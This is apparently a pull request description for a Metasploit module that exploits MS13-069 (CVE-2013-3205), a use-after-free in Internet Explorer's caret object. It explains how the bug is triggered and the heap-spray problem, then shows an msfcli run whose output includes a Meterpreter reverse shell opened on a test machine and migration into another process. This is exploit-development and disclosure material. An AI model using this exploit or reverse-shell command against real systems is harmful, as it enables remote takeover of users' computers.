Add MS13-069 (CVE-2013-3205) IE ccaret object use-after-free

This module exploits a use-after-free vulnerability found in Internet Explorer, specifically in how the browser handles the caret (text cursor) object. In IE's standards mode, the caret handling's vulnerable state can be triggered by first
setting up an editable page with an input field, and then we can force the caret to update in an onbeforeeditfocus event by setting the body's innerHTML property. In this event handler, mshtml!CCaret::`vftable' can be freed using a document.write() function, however, mshtml!CCaret::UpdateScreenCaret remains unaware aware of this change, and still uses the same reference to the CCaret object. When the function tries to use this invalid reference to call a virtual function at offset 0x2c, it finally results a crash. Precise control of the freed object allows arbitrary code
execution under the context of the user.

The vuln works against IE8 on Win 7, but the current version of the custom spray doesn't actually work well against that target. More work is needed before we can add that target for sure.  The reason a custom spray is needed is because the document.write() function erases the typical spray routines we use like js_property_spray, or the heaplib + substring one.  Tried using an iframe too, but onbeforeeditfocus event doesn't seem to work well in an iframe (does not fire when innerHTML is used.)

Demo of the exploit:

	$ msfcli exploits/windows/browser/ms13_069_caret payload=windows/meterpreter/reverse_tcp lhost=10.0.1.76 lport=4444 E
	[*] Initializing modules...
	payload => windows/meterpreter/reverse_tcp
	lhost => 10.0.1.76
	lport => 4444
	[*] Exploit running as background job.
	
	[*] Started reverse handler on 10.0.1.76:4444 
	[*] Using URL: http://0.0.0.0:8080/awQRdVP83x
	[*]  Local IP: http://10.0.1.76:8080/awQRdVP83x
	[*] Server started.
	msf exploit(ms13_069_caret) > [*] 10.0.1.89        ms13_069_caret - Sending exploit...
	[*] Sending stage (770048 bytes) to 10.0.1.89
	[*] Meterpreter session 1 opened (10.0.1.76:4444 -> 10.0.1.89:3096) at 2013-09-19 21:58:10 -0500
	[*] Session ID 1 (10.0.1.76:4444 -> 10.0.1.89:3096) processing InitialAutoRunScript 'migrate -f'
	[*] Current server process: iexplore.exe (3140)
	[*] Spawning notepad.exe process to migrate to
	[+] Migrating to 1080
	[+] Successfully migrated to process 
	
	msf exploit(ms13_069_caret) >